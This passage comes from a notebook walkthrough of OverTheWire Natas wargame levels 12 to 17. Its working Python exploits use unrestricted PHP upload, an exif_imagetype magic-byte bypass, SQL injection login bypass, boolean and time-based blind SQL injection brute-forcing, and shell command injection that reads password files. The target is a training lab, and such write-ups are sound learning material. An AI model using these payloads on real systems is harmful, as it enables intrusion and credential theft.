        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { 
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"; 
        } else{ 
            echo "There was an error uploading the file, please try again!"; 
        } 
    } 
} else { 
?>

In this code, extension is not sanitized and it can execute arbitrary code. Let's make a php file -which will display /etc/web_pass/natas13, and see if it can be executed

In [35]:
code = '''
<?php
$nextpass = file_get_contents('/etc/natas_webpass/natas13');
echo 'password is: '.$nextpass
?>
'''

with open(f'./webfile/natas{ID}-getnextpass.php', 'w') as f:
    f.write(code)

And let's see if we can upload tihs file.

In [41]:
data = {'MAX_FILE_SIZE': '1000', 'filename': 'c067y6c34bgjbjbjbjx.php'}
files = {'uploadedfile': open(f'./webfile/natas{ID}-getnextpass.php', 'rb')}
url = BASEURL + '/index.php'

rep = requests.post(url, auth=(USER, PASSWD), data=data, files=files)
soup = BeautifulSoup(rep.text, 'html.parser')
soup.head.extract() 

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:50])) #showing only first few lines
print('-' * 20)

uploaded_path = soup.find('a')['href']
...printing first few lines----
<html>
 <body>
  <h1>
   natas12
  </h1>
  <div id="content">
   The file
   <a href="upload/x07gyjsfb8.php">
    upload/x07gyjsfb8.php
   </a>
   has been uploaded
   <div id="viewsource">
    <a href="index-source.html">
     View sourcecode
    </a>
   </div>
  </div>
 </body>
</html>
--------------------

PHP file is successfully uploaded. So all I need to do is just read this PHP file to retrieve the next password.

In [42]:
url = BASEURL + '/' + uploaded_path

rep = requests.get(url, auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html5lib')
soup.head.extract() 

data = soup.prettify().splitlines()

for line in data:
    if 'password is' in line:
        result = line.split()[-1]
        
#print(f'The password for Level{ID+1} is {result}.')
        
with open(f'PASS{ID+1}.txt', 'w') as f:
    f.write(result)

print(f'Completed. Please check PASS{ID+1}.txt for password.')
Completed. Please check PASS13.txt for password.

Natas Level 13 --> Level 14

  • python libraries
    • requests
    • BeautifulSoup
  • PHP Function:
    • exif_imagetype()

First we make client to connect to the service

In [3]:
from bs4 import BeautifulSoup
import requests

ID = 13
USER = f'natas{ID}'
BASEURL = f'http://natas{ID}.natas.labs.overthewire.org'

with open(f'PASS{ID}.txt', 'r') as f:
    PASSWD = f.read().strip()

Send GET requests and check the reply

In [4]:
rep = requests.get(BASEURL, auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html.parser')
soup.head.extract()

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:20])) #showing only first few lines
print('-' * 20)
...printing first few lines----
<html>
 <body>
  <h1>
   natas13
  </h1>
  <div id="content">
   For security reasons, we now only accept image files!
   <br/>
   <br/>
   <form action="index.php" enctype="multipart/form-data" method="POST">
    <input name="MAX_FILE_SIZE" type="hidden" value="1000"/>
    <input name="filename" type="hidden" value="7wh44ohmr0.jpg"/>
    Choose a JPEG to upload (max 1KB):
    <br/>
    <input name="uploadedfile" type="file"/>
    <br/>
    <input type="submit" value="Upload File"/>
   </form>
   <div id="viewsource">
    <a href="index-source.html">
--------------------

So this time I cannot upload my php file directly. Let's see how they sanitize the input.

<?  
function genRandomString() { --<omitted>--} 
function makeRandomPath($dir, $ext) { 
    do { 
    $path = $dir."/".genRandomString().".".$ext; 
    } while(file_exists($path)); 
    return $path; 
} 
function makeRandomPathFromFilename($dir, $fn) { 
    $ext = pathinfo($fn, PATHINFO_EXTENSION); 
    return makeRandomPath($dir, $ext); 
} 
if(array_key_exists("filename", $_POST)) { 
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); 

    $err=$_FILES['uploadedfile']['error']; 
    if($err){ 
        if($err === 2){ 
            echo "The uploaded file exceeds MAX_FILE_SIZE"; 
        } else{ 
            echo "Something went wrong :/"; 
        } 
    } else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { 
        echo "File is too big"; 
    } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) { 
        echo "File is not an image"; 
    } else { 
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { 
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"; 
        } else{ 
            echo "There was an error uploading the file, please try again!"; 
        } 
    } 
} else { 
?>

This time the file is checked against exif_imagetype. Quick search of "exif_imagetype bypass" showed me it is quite easy to add exif metadata to arbitrary file.

In [9]:
# https://stackoverflow.com/questions/18357095/how-to-bypass-the-exif-imagetype-function-to-upload-php-code
metadata = '\xFF\xD8\xFF\xE0'

code = '''
<?php
$nextpass = file_get_contents('/etc/natas_webpass/natas14');
echo 'password is: '.$nextpass
?>
'''

code = metadata + code

with open(f'./webfile/natas{ID}-getnextpass.php', 'w') as f:
    f.write(code)

Let's see if we can uplaod this file.

In [10]:
data = {'MAX_FILE_SIZE': '1000', 'filename': 'c067y6c34bgjbjbjbjx.php'}
files = {'uploadedfile': open(f'./webfile/natas{ID}-getnextpass.php', 'rb')}
url = BASEURL + '/index.php'

rep = requests.post(url, auth=(USER, PASSWD), data=data, files=files)
soup = BeautifulSoup(rep.text, 'html5lib')
soup.head.extract() 

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:50])) #showing only first few lines
print('-' * 20)

uploaded_path = soup.find('a')['href']
...printing first few lines----
<html>
 <body>
  <h1>
   natas13
  </h1>
  <div id="content">
   For security reasons, we now only accept image files!
   <br/>
   <br/>
   The file
   <a href="upload/09hew00kwz.php">
    upload/09hew00kwz.php
   </a>
   has been uploaded
   <div id="viewsource">
    <a href="index-source.html">
     View sourcecode
    </a>
   </div>
  </div>
 </body>
</html>
--------------------

Yes, the file is uplaoded successfully. Let's go and get the password.

In [11]:
url = BASEURL + '/' + uploaded_path

rep = requests.get(url, auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html5lib')
soup.head.extract() 

data = soup.prettify().splitlines()

for line in data:
    if 'password is' in line:
        result = line.split()[-1]
        
#print(f'The password for Level{ID+1} is {result}.')
        
with open(f'PASS{ID+1}.txt', 'w') as f:
    f.write(result)

print(f'Completed. Please check PASS{ID+1}.txt for password.')
Completed. Please check PASS14.txt for password.

Natas Level 14 --> Level 15

  • python libraries
    • requests
    • BeautifulSoup
  • PHP Function:
    • mysql_connect()
    • mysql_query()
    • mysql_num_rows()

First we make client to connect to the service

In [18]:
from bs4 import BeautifulSoup
import requests

ID = 14
USER = f'natas{ID}'
BASEURL = f'http://natas{ID}.natas.labs.overthewire.org'

with open(f'PASS{ID}.txt', 'r') as f:
    PASSWD = f.read().strip()

Send GET requests and check the reply

In [19]:
rep = requests.get(BASEURL, auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html.parser')
soup.head.extract()

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:20])) #showing only first few lines
print('-' * 20)
...printing first few lines----
<html>
 <body>
  <h1>
   natas14
  </h1>
  <div id="content">
   <form action="index.php" method="POST">
    Username:
    <input name="username"/>
    <br/>
    Password:
    <input name="password"/>
    <br/>
    <input type="submit" value="Login">
    </input>
   </form>
   <div id="viewsource">
    <a href="index-source.html">
     View sourcecode
    </a>
--------------------

As usual, take a look inside index-source.html

<? 
if(array_key_exists("username", $_REQUEST)) { 
    $link = mysql_connect('localhost', 'natas14', '<censored>'); 
    mysql_select_db('natas14', $link); 

    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\""; 
    if(array_key_exists("debug", $_GET)) { 
        echo "Executing query: $query<br>"; 
    } 

    if(mysql_num_rows(mysql_query($query, $link)) > 0) { 
            echo "Successful login! The password for natas15 is <censored><br>"; 
    } else { 
            echo "Access denied!<br>"; 
    } 
    mysql_close($link); 
} else { 
?>

So this time, this application connects to backend mysql server. There is no sanitization made prior to compose sql query. We just need to pass always true query.

In [21]:
query = 'me" or 1=1; #' # double-quotation ends the username sentence, and 1=1 evaluates true, and finally # commnets out any succeeding sentence
data = {'username': query}

url = BASEURL + '/index.php'

rep = requests.post(url, auth=(USER, PASSWD), data=data)
soup = BeautifulSoup(rep.text, 'html5lib')
soup.head.extract() 

data = soup.prettify().splitlines()

for line in data:
    if 'password for natas15 is' in line:
        result = line.split()[-1]
        
#print(f'The password for Level{ID+1} is {result}.')
        
with open(f'PASS{ID+1}.txt', 'w') as f:
    f.write(result)

print(f'Completed. Please check PASS{ID+1}.txt for password.')
Completed. Please check PASS15.txt for password.

Natas Level 15 --> Level 16

  • python libraries
    • requests
    • BeautifulSoup
  • PHP Function:
    • mysql_query()

First we make client to connect to the service

In [31]:
import time

from bs4 import BeautifulSoup
import requests


ID = 15
USER = f'natas{ID}'
BASEURL = f'http://natas{ID}.natas.labs.overthewire.org'

with open(f'PASS{ID}.txt', 'r') as f:
    PASSWD = f.read().strip()

Send GET requests and check the reply

In [32]:
rep = requests.get(BASEURL, auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html5lib')
soup.head.extract()

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:20])) #showing only first few lines
print('-' * 20)
...printing first few lines----
<html>
 <body>
  <h1>
   natas15
  </h1>
  <div id="content">
   <form action="index.php" method="POST">
    Username:
    <input name="username"/>
    <br/>
    <input type="submit" value="Check existence"/>
   </form>
   <div id="viewsource">
    <a href="index-source.html">
     View sourcecode
    </a>
   </div>
  </div>
 </body>
</html>
--------------------

As usual, take a look inside index-source.html

<? 
/* 
CREATE TABLE `users` ( 
  `username` varchar(64) DEFAULT NULL, 
  `password` varchar(64) DEFAULT NULL 
); 
*/ 
if(array_key_exists("username", $_REQUEST)) { 
    $link = mysql_connect('localhost', 'natas15', '<censored>'); 
    mysql_select_db('natas15', $link);   
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; 
    if(array_key_exists("debug", $_GET)) { 
        echo "Executing query: $query<br>"; 
    } 
    $res = mysql_query($query, $link); 
    if($res) { 
    if(mysql_num_rows($res) > 0) { 
        echo "This user exists.<br>"; 
    } else { 
        echo "This user doesn't exist.<br>"; 
    } 
    } else { 
        echo "Error in query.<br>"; 
    } 
    mysql_close($link); 
} else { 
?>

There is no way to display the password directly. All I can get is "this user exists" or "this user doesn't exist". Possibly I can pass another parameter to check the password, beause there is no sanitization made to check username format. First, check if there is natas16 users are in the database.

In [33]:
url = BASEURL + '/index.php'
data = {'username': 'natas16'}
rep = requests.post(url, auth=(USER, PASSWD), data=data)
soup = BeautifulSoup(rep.text, 'html5lib')
soup.head.extract()

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:20])) #showing only first few lines
print('-' * 20)
...printing first few lines----
<html>
 <body>
  <h1>
   natas15
  </h1>
  <div id="content">
   This user exists.
   <br/>
   <div id="viewsource">
    <a href="index-source.html">
     View sourcecode
    </a>
   </div>
  </div>
 </body>
</html>
--------------------

We now know natas16 is in the database. Let's create a bruteforce code. This is composed of two parts:

  • first part to check which alphanumeric characters are included in the password
  • second part to iterate through all the pattern until it matches actual password
In [34]:
#check which characters are used in password
included_characters = ''
alphanumeric = '\ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
url = BASEURL + '/index.php'
for c in alphanumeric:
    query = f'natas16" and password LIKE BINARY "%{c}%'
    data = {'username': query}
    rep = requests.post(url, auth=(USER, PASSWD), data=data)
    if 'This user exists.' in rep.text:
        included_characters += c

print(f'included characters in natas16 password is: {included_characters}')
included characters in natas16 password is: BEHINORWacehijmnpqtw03569
In [36]:
#bruteforce all the characters one by one
start = time.time()

completed = False
result = ''
while not completed:
    for c in included_characters:
        query = f'natas16" and password LIKE BINARY "{result+c}%'
        data = {'username': query}
        rep = requests.post(url, auth=(USER, PASSWD), data=data)
        if 'This user exists.' in rep.text:
            result += c
            break
    else:
        completed = True

print(f'Time Taken: {time.time() - start}sec')
        
#print(f'The password for Level{ID+1} is {result}.')
        
with open(f'PASS{ID+1}.txt', 'w') as f:
    f.write(result)

print(f'Completed. Please check PASS{ID+1}.txt for password.')
Time Taken: 9.296864986419678sec
Completed. Please check PASS16.txt for password.

Nataps Level 16 --> Level 17

  • python libraries
    • requests
    • BeautifulSoup
  • PHP Function:

First we make client to connect to the service

In [2]:
import time

from bs4 import BeautifulSoup
import requests


ID = 16
USER = f'natas{ID}'
BASEURL = f'http://natas{ID}.natas.labs.overthewire.org'

with open(f'PASS{ID}.txt', 'r') as f:
    PASSWD = f.read().strip()

Send GET requests and check the reply

In [3]:
rep = requests.get(BASEURL, auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html5lib')
soup.head.extract()

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:20])) #showing only first few lines
print('-' * 20)
...printing first few lines----
<html>
 <body>
  <h1>
   natas16
  </h1>
  <div id="content">
   For security reasons, we now filter even more on certain characters
   <br/>
   <br/>
   <form>
    Find words containing:
    <input name="needle"/>
    <input name="submit" type="submit" value="Search"/>
    <br/>
    <br/>
   </form>
   Output:
   <pre></pre>
   <div id="viewsource">
    <a href="index-source.html">
--------------------

As usual, take a look inside index-source.html

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?>

Let's see what special characters we can use this time.

  • !, @, #, \$, ^, \%, *, (, ), -, +, =, /, ? We can use a lot of characters yet, but simple sql injection might not work because we cannot use " and cannot end the prior query clean. But we can still use $, () and ^. We may be able to use the similar technique we used in natas15. Logic is as follows:
  1. Take any arbitrary word from the dictionary.txt, preferrably very unique one is better.
  2. Throw the query like "grep -i "\$(grep ^ /etc/natas_webpass/natas17) dictionary.txt". We will get no result only when the is correct, because subshell returns actual password only when it finds the matches in the mentioned file.
In [4]:
# Pick up a unique word from dictionary.txt
params = {'needle': 'natas'} # I use 'natas' to find a unique word. This can be any word you like
rep = requests.get(BASEURL, auth=(USER, PASSWD), params=params)
soup = BeautifulSoup(rep.text, 'html5lib')
soup.head.extract()

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:20])) #showing only first few lines
print('-' * 20)
...printing first few lines----
<html>
 <body>
  <h1>
   natas16
  </h1>
  <div id="content">
   For security reasons, we now filter even more on certain characters
   <br/>
   <br/>
   <form>
    Find words containing:
    <input name="needle"/>
    <input name="submit" type="submit" value="Search"/>
    <br/>
    <br/>
   </form>
   Output:
   <pre>sonatas
</pre>
   <div id="viewsource">
--------------------
In [17]:
#I use this word 'sonatas' to check the next password.
#bruteforce all the characters one by one
start = time.time()

alphanumeric = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
included_characters = ''

for c in alphanumeric:
    query = f'sonatas$(grep {c} /etc/natas_webpass/natas17)'
    params = {'needle': query}
    rep = requests.get(BASEURL, auth=(USER, PASSWD), params=params)
    if 'sonatas' not in rep.text:
        included_characters += c

print(f'included characters are: {included_characters}.')
        
completed = False
result = ''
while not completed:
    for c in included_characters:
        query = f'sonatas$(grep ^{result + c} /etc/natas_webpass/natas17)'
        params = {'needle': query}
        rep = requests.get(BASEURL, auth=(USER, PASSWD), params=params)
        if 'sonatas' not in rep.text:
            result += c
            break
    else:
        completed = True

print(f'Time Taken: {time.time() - start}sec')
        
#print(f'The password for Level{ID+1} is {result}.')
        
with open(f'PASS{ID+1}.txt', 'w') as f:
    f.write(result)

print(f'Completed. Please check PASS{ID+1}.txt for password.')
included characters are: AGHNPQSWbcdghkmnqrsw035789.
Time Taken: 12.453216791152954sec
Completed. Please check PASS17.txt for password.

Nataps Level 17 --> Level 18

  • python libraries
    • requests
    • BeautifulSoup
  • PHP Function:

First we make client to connect to the service

In [2]:
import time

from bs4 import BeautifulSoup
import requests


ID = 17
USER = f'natas{ID}'
BASEURL = f'http://natas{ID}.natas.labs.overthewire.org'

with open(f'PASS{ID}.txt', 'r') as f:
    PASSWD = f.read().strip()

Send GET requests and check the reply

In [3]:
rep = requests.get(BASEURL, auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html5lib')
soup.head.extract()

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:20])) #showing only first few lines
print('-' * 20)
...printing first few lines----
<html>
 <body>
  <h1>
   natas17
  </h1>
  <div id="content">
   <form action="index.php" method="POST">
    Username:
    <input name="username"/>
    <br/>
    <input type="submit" value="Check existence"/>
   </form>
   <div id="viewsource">
    <a href="index-source.html">
     View sourcecode
    </a>
   </div>
  </div>
 </body>
</html>
--------------------

As usual, take a look inside index-source.html

<? 
/* 
CREATE TABLE `users` ( 
  `username` varchar(64) DEFAULT NULL, 
  `password` varchar(64) DEFAULT NULL 
); 
*/ 
if(array_key_exists("username", $_REQUEST)) { 
    $link = mysql_connect('localhost', 'natas17', '<censored>'); 
    mysql_select_db('natas17', $link);   
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; 
    if(array_key_exists("debug", $_GET)) { 
        echo "Executing query: $query<br>"; 
    } 
    $res = mysql_query($query, $link); 
    if($res) { 
    if(mysql_num_rows($res) > 0) { 
        //echo "This user exists.<br>"; 
    } else { 
        //echo "This user doesn't exist.<br>"; 
    } 
    } else { 
        //echo "Error in query.<br>"; 
    } 
    mysql_close($link); 
} else { 
?>

Let's see if we can simply escape the sequence and get the password directly.

In [4]:
params = {'username': 'natas18"; echo "test"; #', 'debug': 'true'} # Hopefully this execute - echo "test"
rep = requests.get(BASEURL, auth=(USER, PASSWD), params=params)
soup = BeautifulSoup(rep.text, 'html5lib')
soup.head.extract()

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:20])) #showing only first few lines
print('-' * 20)
...printing first few lines----
<html>
 <body>
  <h1>
   natas17
  </h1>
  <div id="content">
   Executing query: SELECT * from users where username="natas18"; echo "test"; #"
   <br/>
   <div id="viewsource">
    <a href="index-source.html">
     View sourcecode
    </a>
   </div>
  </div>
 </body>
</html>
--------------------

As you can see, whole sentence is included in query, and cannot get the password directly. I need to find another way to guess the password only with sql query without getting any output. Luckily it doesn't sanitize the input, so I use mysql sleep() attack. Logic is as follows:

  1. Get the sample execution time for normal query
  2. Get the sample execution time with sleep(). This is also to check if sleep() actually works
  3. Bruteforce to get password. SELECT * from users WHERE username="natas18" -- this is always true AND password like binary "^" -- this is true when guessed password is (partially) correct AND sleep(10) -- this is executed only when above query is true
In [5]:
# First, sample for normal query
start = time.time()
params = {'username': 'natas18'}
rep = requests.get(BASEURL, auth=(USER, PASSWD), params=params)
print(f'Time taken for normal query: {time.time() - start}secs.')
soup = BeautifulSoup(rep.text, 'html5lib')
soup.head.extract()

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:20])) #showing only first few lines
print('-' * 20)
Time taken for normal query: 0.03126215934753418secs.
...printing first few lines----
<html>
 <body>
  <h1>
   natas17
  </h1>
  <div id="content">
   <div id="viewsource">
    <a href="index-source.html">
     View sourcecode
    </a>
   </div>
  </div>
 </body>
</html>
--------------------
In [6]:
# Next, sample for query with sleep()
start = time.time()
params = {'username': 'natas18" AND sleep(1);#'}
rep = requests.get(BASEURL, auth=(USER, PASSWD), params=params)
print(f'Time taken for query with sleep(): {time.time() - start}secs.')
soup = BeautifulSoup(rep.text, 'html5lib')
soup.head.extract()

data = soup.prettify().splitlines()

print('...printing first few lines----')
print('\n'.join(data[:20])) #showing only first few lines
print('-' * 20)
Time taken for query with sleep(): 1.0156590938568115secs.
...printing first few lines----
<html>
 <body>
  <h1>
   natas17
  </h1>
  <div id="content">
   <div id="viewsource">
    <a href="index-source.html">
     View sourcecode
    </a>
   </div>
  </div>
 </body>
</html>
--------------------
  • Normal Operation: 0.03secs
  • With sleep(): 1.06secs

Obviously sleep() is working well. All I need to do is to make a bruteforce program to find the password

In [9]:
#TODO use asyncio to make the process faster
#bruteforce all the characters one by one

cell_start = time.time()

alphanumeric = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
result = ''
completed = False
timeout = 1 #Reply it took more than a second is considered to be correct, because it usually completes within 0.5sec

while not completed:
    for c in alphanumeric:
        query = f'natas18" AND password like binary "{result + c}%" AND sleep(1);#'
        params = {'username': query, 'debug': 'true'}
        start = time.time()
        rep = requests.get(BASEURL, auth=(USER, PASSWD), params=params)
        #print(rep.text)
        if time.time() - start > 1:
            result += c
            break
    else:
        completed = True

print(f'Time Taken: {time.time() - cell_start}sec')
        
#print(f'The password for Level{ID+1} is {result}.')
        
with open(f'PASS{ID+1}.txt', 'w') as f:
    f.write(result)

print(f'Completed. Please check PASS{ID+1}.txt for password.')
Time Taken: 52.65626287460327sec
Completed. Please check PASS18.txt for password.